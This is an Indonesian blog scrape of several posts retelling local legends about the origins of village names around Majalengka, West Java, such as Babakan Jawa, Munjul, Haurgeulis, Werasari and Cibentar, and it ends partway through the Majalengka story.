Rundaikasih.Mbok Nyi Rundaikasih alias Ambet kasih adalah putri dari prabu cakraningrat (Raja dari kerajaan Galuh),karena merasa ketakutan ayahnya terkalahkan oleh seorang ratu (Ratu Gandasari dari pangorangan)maka Mbok Nyi Rambut kasih alias Ambet kasih dan kawan-kawan melarikan diri ke arah barat yang kemudian mendirikan sebuah padepokan.Adapun di bangunnya padepokan serta tempat kediaman masing-masing adalah sebagai berikut : <br />- Pedepokan dan tempat kediaman Mbok Nyi Rambutkasih alias Ambetkasih oleh pemerintah Hindia Belanda di bangun menjadi Gedung Pemerintah Ragenschap.<br />- Kediaman Mbok Nyi Ramogede sekarang menjadi alun-alun.<br />- Kediaman Mbok Nyi Rundaikasih di bangun Kantor Asisten Residen (sekarang Gedung Juang).<br /><br />Keadaan pedepokan Hindu di wilayah ini telah diketahui oleh Raja Demak,maka segera Raja Demak menyiapkan/memilihpara utusan untuk mengemban tugas suci dalam penyebaran/peng- islaman rakyat di wilayah tersebut.Adapun yang dipilih seorang Pengawal Tinggi Negara/ Ulama besar (Adipati Arianingrat alias Syekh Salamodin bin Adipati Kartanegara alias Bagus Soleh Kartanegara).Dalam perjalanan menuju semedanglarang,para utusan di haruskan singgah/laporan terlebih dahulu ke Kesultanan Cirebon.Dalam pemberangkatn beliau didampingi oleh 2(dua) orang istrinya (Mbok Nyi Radenmas Ambimuniawati alias Kembangsekar Nagasakti,Mbok Nyi Mas Rumayasakti alias Rambaigelung),Senapati Gugur Alam dan Jagawaktu Mangku Alam.Setibanya di wilayah Cirebon,maka para utusan dari Kerajaan Demak,singgah/laporan ke Kesultanan Cirebon.Sultan Cirebon kesinggahan utusan dari Kerajaan Demak serta laporannya sangat senang sekali hatinya dan pada waktu itu juga beliau segera menunjuk Pangeran Muhamad untuk menyertai bersama-sama berangkat menuju Sumedanglarang dimana tempat padepokan agama hindu itu beradadan dan pemberangkatan tersebut Pangeran Muhamad pun ndidampingi oleh istrinya (Ratu Siti Armilah alias Mbok Ratu Gedeng Badori).Dlam perjalanan menuju Sumedanglarang tatarwetan dimana padepokan hindu berada,langsung dapat dijumpainya dan kebetulan sekali ketiga orang tokoh hindu yang dicari ada dalam padepokan.Maka kedua utusan dari Kerajaan Demak dan Cirebon langsung memaparkan tugas tujuannya serta menjelaskan ajaran-ajaran isi dari pada agama terakhir (agama islam/serta disebutkan bahwa semua manusia bakal mati dan kelak akan dibangunkan/dihidupkan kembali).<br /><br />Ketiga tokoh hindu mendengar perkataan yang terakhir ini sangat tidak mempercayai-nya dan ia langsung menyerahkan seluruh umatnya,seraya berkata : “Silahkan umat kami semuanya masuk agama islam,hanya kami bertiga tetap menganut agama hindu dan kami tidak percaya bahwa manusia yang sudah mati kelak akan hidup kembali,kami ingin hidup untuk selamanya”,yang akhirnya ketig tokoh hindu tersebut menghilang (Ngahiang).<br /><br />Setelah menyerahkan umatnya dan ngahiangnya Mbok Nyi Rambutkasih alias Ambetkasih dan kawan-kawan,maka kedua utusan dari Karajaan Demakdan Cirebon masing-masing mencari tempat untuk tempat kediamannya masing-masing : <br />1. Pangeran Muhamad memilih di sebelah Utara Kali Citangkurak dan setelah menbangun tempat kediaman langsung meninggalkan istrinya melaksanakan tetapa di sebelah Utara Gunung Balukbuk sehingga wafatnya dan dimakamkan di tempat itu pula yang makamnya disebut “MARGATAPA”.<br />2. Adipati Arianingrat alias Syekh Salamodin memilih tempat di komplek jatilawang sebelah Utara Kali Cijurei (sekarang disebu8t kampung pasantren).Beliau dan kawan-kawan dengan di bantu rakyat setempat sibuk membangun tempat kediaman serta Padepokan/Pesantren yang sangat besar.Keadaan pesantren yang dipimpinnya sangat ramai,makin hari bertambah para santrinya ,karena semua umat hindu yang diserahkan Mbok Nyi Rambutkasih alias Ambetkasih kepada para utusan,kesemuanya pindah dari agama hindu menjadi umat agama islam.<br />Sedang sibuk-sibuknya utusan dari Kerajaan Demak melaksanakan tugas yang suci ini,datanglah utusan dari Kerajaan Mataram yang diutus untuk mengirimkan surat-surat itu adalahsurat undangan untuk memohon kehadirannya Adipati Ariningrat alias Syekh Salamodin dalam pernikahan purti Kerajaan Mataram.<br /><br />Pada hari dan tanggal yang telah ditentukan Adipati Arianingrat alias Syekh Salamodin karena dengan adanya kesibukan tugas suci ini tidak dapat menghadirinya sedangkan pada waktu pelaksanaan pernikahan di Kerajaan Mataram ada suatu kejadian yang sangat besar (putri Mataram ) yang akan diistrikan/ditikahi,tidak ada/menghilang,dicari kesana-kesini tidak diketemukan dan terakhir diperiksa di buku absen para tamu undangan dan ternyata yang tidak hadir itu adalah Adipati Arianingrat alias Syekh Salamodin,maka anggapannya bahwa yang menculik putri itu adalah Adipati Ariningrat alias Syekh Salamodin dari Semedanglarang Tatarwetan.<br />Maka dengan adanya kenyataan itu,Raja Mataram segera mengirimkan utusan untuk mengambil Putri Mataram yang anggapannya diculik oleh Adipati Ariningrat alias Syekh Salamodin.Setibanya di tempat kediamannya,maka utusan menghaturkannya sebuah amplop surat kepadanya.Setelah membaca surat Adipati Arianingrat alias Syekh Salamodin hanya tertawa sambil berkata yang ditujukan kepada para utusan dari Kerajaan Mataram.”Saudara para utusan sekalian!Pada waktu pelaksanaan pernikahan Patri Mataram,karena saya sedang mengemban tugas dari Kerajaan Demak,saya tidak dapat menghadirinya dan keadaan Putri memang ada di daerah sini,namun walaupunkekuatan saudar ratusan jiwa tidak akan kuat melawannya,yang menculik adalah Siluman “Buaya Putih”adanya di pelbuhan leuwiseeng,sekarang begini saja?Dari pada saudara-saudara melawan Buaya Putih tentu tidak akan tersisa/pulang nama,kembali kenegara tentu jadikan gantinya,sekarang sudah saja bebetah/mukim disini”.Akhirnya para utusan dari Kerajaan Mataram semuanya mengikuti ajakan Adipati Arianingrat alias Syekh Salamodin,semuanya mengikuti bermukim bersama.<br /><br />Hari ini Ayahanda Adipati Arianingrat alias Syekh Salamodin (Adipati Kartanegara alias Bagus Soleh Kaertanegara bin Syekh Maslullah Alias Bagus Prawoto Kartaningrat)bahwa putranya yang ditugas sucikan ke wilayah Sumedang Larang telah banyak pengikut-pengikutnya dari Kerajaan Mataram,maka beliau mengajak istrinya,putra-putranya serta para sahabat dan ponakawannya untuk bersama-sama mengikutinya.Adapun rombongan dari Ayahanda Kerajaan Demak yaitu : <br />1. Adipati Kaktanegara alias Bagus Soleh Kaertanegara (ayah)<br />2. Mbok Nyi Mas Ayu Rndaningsih (ibu)<br />3. Syekh Pamaku alah alias Syekh Magribi (sahabat)<br />4. Patih Geger Alam<br />5. Rd. Taufanudin <br />6. Rd. Puseurjagat alias Rd. Sukmadiwijaya <br />7. TumenggungTanumangrat (Putra Kedua)<br />8. Rd. Angga Tunggal Pati alias Giri-Papat (Putra Keempat)<br /><br />Dengan adanya tambahan jiwa dari Kerajaan Demak,keadaan pesantren makin ramai,para santri makin banyak,pengajarnyapun makin bertambah,karena demikian ruangan belajar pun di perluas.Pada suatu saat akhir abad XV1 Adipati Arianingrat alias Syekh Salamodin mengadakan musyawarah,dalam musyawarah ini semua orang tua,ayah bunda,saudara, ponakawan dan para sahabat,begitu pula pedatang dari Kerajaan Mataram di haruskan hadir,dan isi-isi dalam musyswarah tersebut adalah : <br />1. Menetapkan nama sebuah Pedukuhan<br />2. Memilih/menetapkan siapa yang pantas diangkat menjadi kepala Pedukuhan.<br /><br />Dalam musyawarah tersebut dan mengingat yang kumpul dalam musyawarah kesemuanya orang-orang dari jawa (Demak dan Mataram),maka semuanya yang hadir setuju pedukuhan itu diberi nama “BABAKAN JAWA” serta yang di angkat memangku jabatan sebagai kepala pedukuhan pertama (Adiapti Arianingrat alias Syekh Salamodin).Adapun luas dan batas-batasnya wilayah pedukuhan Babakan jawa adalah sebagai berikut : <br />- Sebelah Utara : Kali Cideres <br />- Sebelah Selatan : Kali Cilutung <br />- Sebelah Timur : Kali Cideres,Cicurug,Sindangkasih,Cibodas.<br />- Sebelah Brat : Kali Cilutung,Sidamukti,Munjul,Jatipamor,dan Cijati.<br /><br />Maka pada akhir abad XV1 Masehi di wilayah Sumedang Larang TatarWetan,telah lahir sebuah sebuah pedukuhan yang diberi nama : <br />BABAKAN JAWA <br />Yang sekarang telah berubah status menjadi Kelurahan Babakan jawa,Kecamatan dan Kabupaten Majalengka.<br />Demikian sejarah singkat Adipati Arianingrat alias Syekh Salamodin alias Babus Soleh Kartanegara disusun dan ditulis berdasarkan komunikasi dengan leluhur Babakan jawa yang bersangkutan.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-38422675872473631772010-09-21T22:17:00.000+07:002010-09-21T22:18:37.211+07:00Asal Usul Sekitar Daerah Majalengka7. Asal Usul Desa Kawunggirang<br /><br />Asal-usul Desa Kawunggirang tidak banyak di ketahui orang.karena tidak ada bekas-bekas peninggalan maupun prasasti yang bisa di jadikan sumber keterangan. Tokoh-tokoh masyarakat pun tidak banyak memberikan keterangan karena asal-usul Desa kawunggirang hanya di ceritakan dari mulut ke mulut saja dan dalam kalangan tertentu saja.<br /><br />Masyarakat Desa kawunggirang menganggap jika pendiri desa kawunggirang adalah orang yang pertama kali menyebarkan agama islam di desa kawunggirang. Beliau adalah Embah Bahim (Tubagus Ibrahim) yang di makamkan di Astana Gede.Embah Bahim adalah anak dari Embah Latif.Embah Latif sendiri adalah anak dari Embah Pucuk Umum Fatu Talaga yang menikah dengan Maulana Ibrahim yang berasal dari Baghdad,Irak.<br /><br />Kemudian datang pula seorang ulama keturunan sultan Banten yang bernama Tubagus Kacung yang mempunyai nama asli Tubagus Bunyamin. Beliau sengaja menyingkir dari kesultanan Banten karna kekacauan politik dengan adanya perebutan kekuasaan di kesultanan Banten. Kemudian Tubagus Kacung menikah dengan salah seorang putri Embah Bahim.<br /><br />Embah bahim sendiri tidak begitu dijelaskan dengan siapa beliau menikah dan di karuniai beberapa keturunan.<br />Kemudian salah seorang putra Tubagus Kacung ada yang menjadi Qasli atau atau penghulu besar kesultanan Cirebon yang bernama Embah Arjean. Kemudian salah seorang putra Tubagus Kacung yang lain yang bernama Embah Abdullah Komar ,menjadi penghulu pertama kabupaten Majalengka.<br /><br />Asal usul nama Kawunggirang<br />Desa Kawunggirang sebenarnya bersal dari “Kaum Girang” yaitu kumpulan orang-orang(kaum) yang berada di daerah yang tinggi(girang).berubahnya nama Kaum Girang menjadi Kawunggirang adalah di ilhami dari pohon kawung (aren) yang memiliki banyak kegunaan.diantaranya :<br />Batang (bogor) : di jadikan berbagai perkakas rumah.<br />Daunya : dijadikan rokok.<br />Buahnya :di jadikan makanan.<br />Lidinya : di jadikan sapu.<br />Bunganya : di sadap di jadikan gula.<br />Dan masih banyak lagi.<br />Kesimpulanya, masyarakat kawunggirang ingin menjadi masyarakat yang berguna bagi dirinya maupun orang lain.<br />Tidak di ketahui kapan waktunya nama Kaum Girang di rubah menjadi Kawunggirang.<br /><br />B. Seni dan Tradisi Di Desa Kawunggirang.<br />Desa kawunggirang sejak dahulu adalah desa yang islami.karena dari dahulu sudah terdapat pesantren yang mampu menarik santri santri dari daerah yang jauh sekalipun.<br />Adat istiadatnyapun tidak menyimpang dari ajaran-ajaran islam pada umumnya.tidak ada yang istimewa dalam berbagai kegiatan bermasyarakat.dari pernikahan,khitanan dan kelahiran semuanya masih dalam ajaran-ajaran islam.<br /><br />Kesenian di desa kawunggirang pun masih berbau islami. Misalkan seni Qasidah dan Rebana yang kini di kembangkan di dua pesantren di desa kawunggirang. Biasanya satu grup pemain rebana terdiri dari delapan orang penabuh rebana dan dua atau tiga orang menjadi penyanyi atau yang berqasidah, ditambah satu orang pemain organ atau piano dan pamain bass sebagai pengiring.<br /><br />Rebana juga sering di kenal dengan sebutan genjring. Di sebut genjring karena apabila di tabuh, lempeng-lempeng besi berbentuk bulat yang ada di sekeliling badan kayu pada rebana akan saling beradu dan menimbulkan suara gemerincik.<br />Rebana atau genjring masih sering dipakai dalam acara-acara keagamaan tertentu, misalkan pada waktu menyambut tahun baru islam, rebana dipakai untuk mengiringi sholawat pada waktu pawai obor mengelilingi desa.<br /><br />Selain kesenian rebana, ada suatu kegiatan yang ada setiap tahun rutin dilakukan. Yaitu ziarah ke makam Embah Bahim yang di lakukan setiap setelah Idul Fitri tepatnya setiap tanggal 15 syawal Peziarahnya pun tidak dari masyarakat kawunggirang saja, ratusan orang datang dari berbagai daerah ke desa kawunggirang untuk berziarah.<br />Ziarah ini adalah ziarah keliling untuk menziarahi makam para pejuang islam. Kebetulan pejuang yang di tuakan adalah makam Tubagus Ibrahim atau yang lebih dikenal dengan sebutan Mbah Bahim. Oleh karena itu tujuan pertama para peziarah adalah dengan menziarahi makam Mbah Bahim yang berlokasi di desa kawunggirang.<br /><br />8. ASAL USUL KELURAHAN MUNJUL<br /><br />Kurang lebih pada tahun 1628 di wilayah ini hidup seorang tokoh bernama BAPAK SARENI. Beliau adalah seorang tokoh yang berperangai lembut dan berilmu tinggi(sakti mandraguna). Ilmu padi adalah peganganya; yakni makin berisi makin merunduk, jauh dari sifat dan sikap sombonga. Sifat ini menyebabkan beliau sangat di hormati dan disegani oleh siapapun.<br /><br />Pada suatu hari beliau kedatangan tamu, yaitu sepasukan prajurit kerajaan Mataram yang terpisah dari induk pasukannya setelah manyerang Batavia(1628-1629). Sisa pasukan itu tampak lunglai karen lapar dan dahaga.<br /><br />Melihat keadaan demikian, Bapak sareni permisi kepada tamunya untuk pergi ke dapur, menanak nasi seperiuk dan memasak air satu ruas/lodong. Setelah nasi dan air itu masak, segera di suguhkan kepada beberapa puluh orang prajurit Mataram yang sedang kelaparan.<br /><br />Alangkah takjub para prajurit Mataram itu, karena nasi seperiuk dan air satu lodong saja bisa mecukupi pasukan tersebut, padahal mereka lahap sekali.<br />Selesai makan, pimpinan pasukan berkata dalam bahasa jawa : “Niki wong punjul bener, sega seperiuk lan banyu semono nyukupi balad kula.” Artinya kira-kira demikian : “Orang ini ‘punjul’ (sakti) sekali, nasi seperiuk dan air selodong saja dapat mencukupi pasukan saya.<br /><br />Kata PUNJUL yang di ucapkan oleh pimpinan pasukan Mataram itu ternyata membawa berkah tersendiri. Orang-orang di wilayah ini kemudian mengabadikannya menjadi nama desa di wilayahnya. Kata “punjul” pada akhirnya mengalami perubahan pengucapan menjadi sebuah kata bersejarah yang melakat sampai sekarang, yaitu : MUNJUL.<br /><br />9. ASAL USUL DESA KODA SARI.<br /><br />Di perkirakan abad k 15 di wilayah desa KODASARI sekarang ada dua tokoh yang mendiami tanah tersebut,di sebelah barat laut di diami oleh Ki gedeng Lawung beserta keluarganya.<br /><br />Dan di sebelah tengara didiami oleh Ki Gedeng Koda beserta keluarganya juga.<br />Al kisah ke dua tokoh ntersebut hidup bertanin dengan keadaan berkecukupan’dan lebih-lebih Ki Gedeng Lawung lumbung kata para ketua,Ki Gedeng Koda yaitu lumbung gudang padinya berderet saking banyak padi yang di smpan.<br /><br />Ketika orang koda sari pada tahun 1939 pindah dari nunuk maja dua orang tersebut sudah tidak ada.hanya saja menurut cerita orang-orang tua di sekitar itu,di blok lawang lumbung atau sawah panjang sekarang telah menetap seorang yang bernama ki gedeng luwung lumbung ,hingga sekarang areal tanah di situ di sebut areal sawah luwung lambung atau sawah panjang kara pelakunya panjang-panjang.<br /><br />Adapun tokoh ki gedeng koda beliau meninggalkan sebuah sumur tua yang sampai sekarang di sebut sumur koda.ketika penduduk dari wilayah selatan kota majalengka yakni nunuk maja pindah ke tanah kodasari dan sekarang para tokohnya menetapkan sebuah nama baru di desa tersebut yaitu DESA KODASARI.<br /><br />Kata koda di ambil dari kata yang pada zaman dahulunya ada leuweung koda dan juga sumur koda,kemudian ditambah kata sari yang katanya berarti kenikmatan.<br />Jadi nama desa kodasari berarti nama yang akan menjadikan hidup penuh nikmat.<br />Itulah mengapa desa kami disebut desa koda sari.<br /><br />10. ASAL-USUL DESA HAURGEULIS <br /><br />Pada abad ke-18 SM, ada sebuah kerajaan yang sangat megah dan besar. Kerajaan tersebut bernama kerajaan “Palembang Gunung”. <br /><br />Palembang Gunung diambil dari nama raja yang memimpin kerajaan tersebut yaitu Raja Palembang Gunung. Raja tersebut mempunyai seorang isteri dan seorang puteri yang sangat cantik. Puteri itu bernama Shinta Sari. <br /><br />Alkisah, karena kecantikan dan kekayaan yang dimiliki oleh Puteri Shinta Sari, sehingga ada seorang raja dari Kerajaan “Maleber” yang ingin menikahinya, raja tersebut bernama Raja Sangiang. Akhirnya, dengan restu dari kedua orang tua Puteri Shinta, Raja Sangiang menikahi Puteri Shinta. <br /><br />Setelah menikahi Puteri Shinta, Raja Sangiang ingin cepat-cepat menerima warisan dari Raja Palembang Gunung. Tidak ada cara lain yang bisa dilakukan oleh Raja Sangiang selain membunuh mertuanya tersebut. Dengan cara itulah ia dapat memiliki segala kekayaan Raja Palembang Gunung. Akhirnya Raja Sangiang membunuh Raja Palembang Gunung dan Raja Palembang pun meninggal. <br /><br />Setelah Raja Palembang Gunung meninggal harta kekayaan mertuanya tersebut jatuh ke tangan Raja Sangiang. Disitulah Puteri Shinta tahu bahwa Raja Sangiang menikahinya hanya karena harta yang dimilikinya. Puteri Shinta pun ingin membalaskan sakit hatinya kepada suaminya tersebut. Akhirnya, Puteri Shinta membunuh suaminya dengan cara ditusuk oleh konde yang dipakai oleh Puteri Shinta. Konde tersebut mengenai ulu hati Raja Sangiang. Raja Sangiang pun meninggal. Setelah meninggal, Raja Sangiang dimakamkan. Makam suaminya tersebut, ditanami bambu haur oleh Puteri Shinta, sehingga di tempat tersebut tumbuh bambu haur, yang akhirnya tempat tersebut diberi nama “Haurgeulis”. Yang artinya bambu haur yang ditanam oleh seorang Puteri yang cantik. <br /><br />11. ASAL USUL WERASARI<br /><br />Pada awal islam penyebaran di pulau Jawa, terungkaplah dua orang tokoh penyebar agama islam daari kerajaan islam yang disertai oleh ttiga orang pengikutnya<br />Kedua tokoh tersebut masing-masing bernama Antisari dan Mayangsari serta ketiga pengikut lainnya adalah : Mangkunegara, Brahmajaya, dan Jayalaksana..<br /><br />Pada suatu ketika yang kebetulan dibarengi oleh Sultan Cirebon menghadap raja talga manggung yang bernama Giringsing Wesi. Adapun kedatangan merka untuk menyebarkn agama islam , yang kebetulan itu raja kerajaan talaga manggu beragama hindu.<br /><br />Namun apa yang terjadi tatkala para utusan mengutarakan maksudnya. Raden Giringsin Wesi menjawab bahwa ia bersedia masuk islam tapi dengan permintaan atau lpersyaratan, yakni : ia bersedia masuk agamma islam apabila ia kalah dalam beradu kekuatan atau jajate (sunda). Adapun permintaannya adalah : coba pikulah padi yang ada di hadapan kalian.<br /><br />Kemudian salah seorang dari utusan yang merasa dirinya atau tenaganya paling kuat mencoba padi tersebut dengan menggunakan sepotong bamboo aur sebagai alat untuk pemikulnya, karena menurhut perkiraannya bahwa padi itu hanya denagan mempergunakan sepotong buluh.<br /><br />Maka alangkah terkejutnya dan merasa malu yang bukan alang kepalang, sehingga seketika itu mereka juga berpamit untuk meningglakan tempat itu dengan tangan hampa.<br />Semula mereka akan kembali ke tempat masing-masing akan tetapi diperjalanan mereka mengadakan rundingan yang hasil dari rundingan itu mereka memutuskan dan bersumpah tidak akan pulang ke Mataram sebelum mereka dapat menaklukan Raja Talaga manggung, sekalipun apa yang terjadi.<br /><br />Akhirnya pergilah mereka bersama-sama menuju arah selatan bermaksud untuk menyusun kekuatan.<br />Pada suatu ketika setelah berhari-hari bahkan berbulan-bulan menyusuri hutan belantara bahkan adakalanya harus mendaki gunung atau menuruni lembah, dan akhirnya sampailah pada suatu tempat yang berbukit-bukit dan disana-sini pohon yang rindang tumbuh dengan suburnya.<br /><br />Maka istirahatlah mereka di sana sambil rumusan untuk menyusun sebuah kekuatan. Tempat istirahat dan bermufakat mereka itulah hingga disebut pancalikan. disanalah mereka membuat pemukiman yang baru dan dari situlah mereka mulai mengadakan hubungan dengan kampong-kampung yang dihuni orang.<br /><br />Disanalah mereka mulai menyebarkan dan mengajarkan agama islam, serta pengetahuan-pengetahuan lainnya sehingga banyaklah pengikutnnya. Diantara penyebar-penyebar agama islam itu ada yang sngat disayangi, yaitu Antisari dan Mayangsari sehingga meraka pun dijadikan anak angkat oleh orang tua yang bernama Buyut Pulung.<br />Pada suatu ketika mereka merasa kuat dan sudah mampukarena sudah banyak pengikutnya, maka timbulah niatnya untuk mengadakan musyawarah secara besar-besaran, serta mengundang tamu-tamu yang jauh akan mengambil tempat paseban, yang sekelilingnya banyak tumbuh pohon bamboo. Sehingga sampai sekarang tempat itu disebut Jamburaya ( sunda ) Jambu Rea.<br /><br />Musyawarah pun berlangsung dengan baik dan lancar. Tamu-tamu yang datang hormati dengan sebaik-baiknya.<br /><br />Menurut cerita bekas peralatan orang dapurnya sampai sekarang masih berada berupa barang yang terbuat dari batu, antara lain : pengarih, gentong, jubleg (Bahasa Sunda) yang semuanya dibuat dari batu. Konon katanya menurut cerita orang, bekas tusuk satenya pun berubah menjadi rumpun bamboo.<br /><br />Perkampungan itu semakin lama semakin maju, maka tidak herankah apabila masyarakat didaerah teersebut digolongkan sudah makmur. Sudah barang tentu demikian keadaanya karena para penyebar agama islam disana bukan hanya saja mengajarkan agama islam melainkan juga masalah pertanian, perdagangan dan ilmu-ilmu lainnya pun mereka ajarkan.<br /><br />Mereka mengajarkan cara-cara membuat sawah, serta memberikan teladan-teladan yang baik.Menurut cerita orang, bila antisari mengerjakan sawahnya disamping dengan tekun bekerjanya juga mempunyai keistimewaan yang luar biasa yakni makanan yang dibawa untuk bekal kerja itu hanyalah pais beuyeur (sunda) dan itu pun tidak dimakannya, melainkan hanya dipindah-pindah saja dari pematang yang satu ke pematang yang lainnya. Akan tetapi kekuatan badan dan tenaganya tetap segar. Maka makin lama makin luaslah persawahan mereka, dan makin suburlah tempat mereka.<br />Pesawahan bekas mereka sampai sekarang ada dan di jadikan upah caarik atau bengkok pamong desa.<br /><br />Karena keuletan mereka, sehingga banyak penduduk yang mengagumi dan menghargai mereka. Bahkan ada yang dari mereka di angkat menjadi sesepuh di tempat tersebut, yaitu Antasari beserta istrinya. Sejak itu julukannya jadi Eyang Antasari.<br />Untuk memilih nama tempatnya pun di aambil dari nama bunga (wera) yang banyak tumbuh di daerah tersebut dan dari akhir nama sesepuh tersebut (sari), sehingga itulah jtercipta nama WERASARI, sampi sekarang. Mereka pada umunya banyak menyebarkan kebeberapa disekitar desa Werasari, yang sampai sekarang pun pemakamannya masing-masing punya nama sendiri seperti : <br />• Eyang Antasari dan Mayangsari terletak di Binuang<br />• Mangkunegara dipemakaman Pasarean Salam<br />• Brahmajaya dipemkaman Cipicung<br />• Jayalaksana dipemakaman Pasir Sereh<br /><br />Menurut kepercayaan orang disana sampai sekarang perrkuburan tersebut masih dipelihara dan banyak di kunjungi oleh orang dan di anggap sebagai leluhur yang mula-mula membangun Werasari. Di samping itu menurut kepercayaan orang disana apabila ada tamu yang berkunjung dan ingin menetap disana harus berziarah ke pemakaman leluhur tersebut. Demikinlah kisah ringkas asal-usul Werasari.Boeladighttp://www.blogger.com/profile/01946696987493711396noreply@blogger.com0tag:blogger.com,1999:blog-4112345820708624548.post-5860496201559650312010-09-21T22:15:00.000+07:002010-09-21T22:16:36.840+07:00Asal Usul Sekitar Daerah Majalengka4. ASAL NAMA DESA PALASAH<br /><br />Desa Palasah diambil dari nama pohon yang banyak tumbuh di pemukiman penduduk, nama pohon tersebut namanya pohon PALASAH, pohon tersebut banyak tumbuh di pemikiman masyarakat dan di hutan-hutan lindung yang berada di wilayah desa kami pada waktu dulunya.<br /><br />Pohon Palasah tersebut sangat banyak sekali manfaatnya untuk kehidupan masyarakat desa kami pada waktu itu, daunnya disamping untuk sarana pembungkus makanan warga, warga juga menjual daun tersebut ke kota (kongsi) Kadipaten dan hasilnya untuk menambah-nambah kebutuhan dapur. Sedangkan pohonnya, masyarakat kami menggunakan pohon tersebut untuk tiang-tiang penyangga rumah dan untuk kayu bakar.<br />Mengingat banyak sekali tumbuh pohon tersebut dan manfaatnya sangat berarti bagi warga masyarakat maka para leluhur kami menamai desa kami dengan DESA PALASAH.<br />Agar supaya warga masyarakat kami bisa tumbuh subur guna kehidupan yang lebih maju baik sandang maupun pangan.<br /><br />5. “ ASAL USUL DESA CIBENTAR “<br /><br />Sekitar akhir abad ke-18, yaitu tepatnya tahun 1788 terbentuklah kampung bernama kampung BABAKAN.Kampung ini merupakan cantilan dari Desa SUKARAJA,Kampung Babakan pada waktu itu dipimpin oleh Raksa Perbanta.<br /><br />Asal Kata Cibentar<br />Banyak yang menyebutkan bahwa Desa Cibentar berasal dari kata “Air/Cai” dan kata “Halilintar.Tetapi menurut kehendak Raksa Parbanta bahwa dalam pembuata saluran air itu hendaknya para tokoh/sesepuh dapat menggerahkan segala kesaktiannya,maka dengan segala penuh rasa tanggung jawab,para tokoh tersebut melaksanakannya dengan segala kemampuan & kesaktiannya masing-masing,seperti Embah Dati,dengan kesaktiannya,ia membuat keajaiban kencing di ujung untun memulai pembuatan saluran air yang direncanakan sehingga air kencingnya mengalir bulak-belok kea rah utara Embah Maranggi,dengan kesaktiannya ia bisa mendatangkan angin yang sangat kencana. Embah Modang,dengan kesaktiannya,ia dapat mendatangkan petir/geledek yang besar. Sedangkan Embah-embah yang lainnya,dengan kesaktiannya masing-masing dapat mengeluarkan tenaga yang cukup besar,sehingga mereka dapat membereskan pohon-pohon yang tumbang dan batu-batu yang berantakan guna terbentuknya saluran air.Pembuat saluran air tersebut sepanjang 300M yang dapat diselesaikan dalam waktu hanya satu hari satu malam.<br /><br />Karena pembuatan saluran air itu dapat diselesaikan dalam waktu yang sebentar dan air langsung mengalir,maka pada waktu itu, mereka mengambil dari kata Cai/Aia dan kata Sebentar.Dari kedua kata tersebut,akhirnya digabungkan menjadi nama sebuah Desa.Dari sejak tahun itu pula,Desa Cibentar berlaku sebagai suata desa dari Kec.Jatiwangi dan sejak itu kampung Babakan memisahkan diri dari Desa Sukaraja dan menjadi cantilan dari Desa Cibentar.<br /><br />6. ASAL USUL MAJALENGKA<br /><br />1. Pohon "Maja" Jadi "Lantaran"<br />Alkisah diceritakan kira - kira pada abad ke 15 Masehi berdirilah suatu kerajaan Hindu yang disebut SINDANGKASIH ( kini hanya sebuah desa yang terletak di sebelah tenggara ibu kota Majalengka jarak 3 Km di luar kota).<br />Kerajaan itu diperintah oleh seorang ratu yang cantik molek dan sangat sakti serta fanatik terhadap agama yang dipeluknya. Namanya ialah Ratu Nyi Rambutkasih. Berkat ratu yang bijaksana dan sakti itu, maka kerajaan Sindangkasih menjadi daerah yang aman dan makmur.<br /><br />Rakyatnya hidup tentram damai dan aman sentosa, "rea ketan rea keton", karena begitu sejahtera dan bahagianya sehingga Sindangkasih mendapat gelar Sugih Mukti yang artinya "Kaya serta bahagia".<br /><br />Penghidupan rakyatnya terdiri dari bercocok tanam, terutama padi sedang pakaiannya menenun sendiri dari hasil kapas tanamannya. Di lembah - lembah sungai ditanami tebu yang dibuat gula merah disamping gula dari pohon aren. Sebagian daerahnya terdiri dari hutan rimaba yang membujur ke arah utara dan selatan. Konon kabarnya dalam hutan itu bukan pohon kayu jati yang banyak, tetapi penuh dengan pohon maja. Batangnya lurus dan tinggi, tetapi daunnya kecil dan pahit dan mempunyai khasiat untuk mengobati penyakit demam. Buahnya mirip buah "Kawista", tetapi kulitnya agak lunak, isinya serasa ubi jalar yang dibakar.<br /><br />Sementara itu antara 1552 - 1570 Cirebon telah diperintah oleh seorang Guru Besar Islam yaitu seorang wali bernama Syarif Hidayatullah atau Sunan Gunung Jati. Konon Cirebon pernah terserang penyakit demam yang sangat hebat dan menimbulkan banyak korban. Lalu Sunan Gunung Jati mengutus putranya yang bernama Pangeran Muhammad untuk pergi mencari pohon maja ke daerah Sindangkasih sekaligus menyebarkan agama Islam.<br /><br />Pangeran Muhammad berangkat menuju Sindangkasih disertai isterinya yang bernama Siti Armilah yang berasal dari Demak yang juga diberi tugas untuk membantu suaminya dan ikut menyebarkan agama Islam.<br /><br />Nyi Rambutkasih sebagai ratu Sindangkasih yang telah mengetahui kedatangan utusan Sunan Gunung Jati itu, hatinya tidak ikhlas daerahnya diinjak oleh orang lain yang memeluk agama Islam. Konon kabarnya sebelum Pangeran Muhammad bertemu dengan nyi Rambutkasih, hutan Sindangkasih yang awalnya banyak pohon maja telah diubah menjadi hutan lebat tanpa pohon maja sebatangpun.<br /><br />Pangeran Muhammad dan isterinya sangat kecewa dan terkejut ketika tiba di Sindangkasih, pohon maja yang diperlukannya sudah tidak ada. Maka, pada saat itu Pangeran Muhammad berkata "Maja Langka" (bahasa Jawa) artinya "Maja tidak ada".<br />Dengan demikian, Pangeran Muhammad sangat kecewa dan berniat akan kembali ke Cirebon. Akhirnya Pangeran Muhammad memutuskan pergi bertapa di kaki gunung hingga wafatnya. Gunung itu kini bernama "Margatapa".<br /><br />Sebelum pergi bertapa, Pangeran Muhammad memberi amanat kepada isterinya, untuk terus berusaha menemukan pohon maja itu dan menaklukan Nyi Rambutkasih agar memeluk agama Islam.<br /><br />Pada suatu hari, Siti Armilah yang merupakan pemeluk dan penyebar agama Islam bisa bertemu dengan Nyi Rambutkasih yang merupakan pemeluk dan Fanatik terhadap agama Hindu.<br /><br />Nyi Rambutkasih tidak dapat menerima ajakan dan ajaran yang diberikan Siti Armilah supaya Nyi Rambutkasih memeluk agama Islam. Siti Armilah pun berkata : "Manusia itu pasti mati, kembali ke alam baqa, hidup di dunia ini ada batasnya".<br />Nyi Rambutkasih membalasnya dengan ucapan: "Aku seorang Ratu pelindung rakyat yang berlaku jujur dan baik, sebaliknya aku adalah Ratu yang tidak pernah ragu - ragu untuk menghukum rakyatnya yang bertindak curang dan buruk. Karena itu aku tidak akan mati dan tidak mau mati".<br /><br 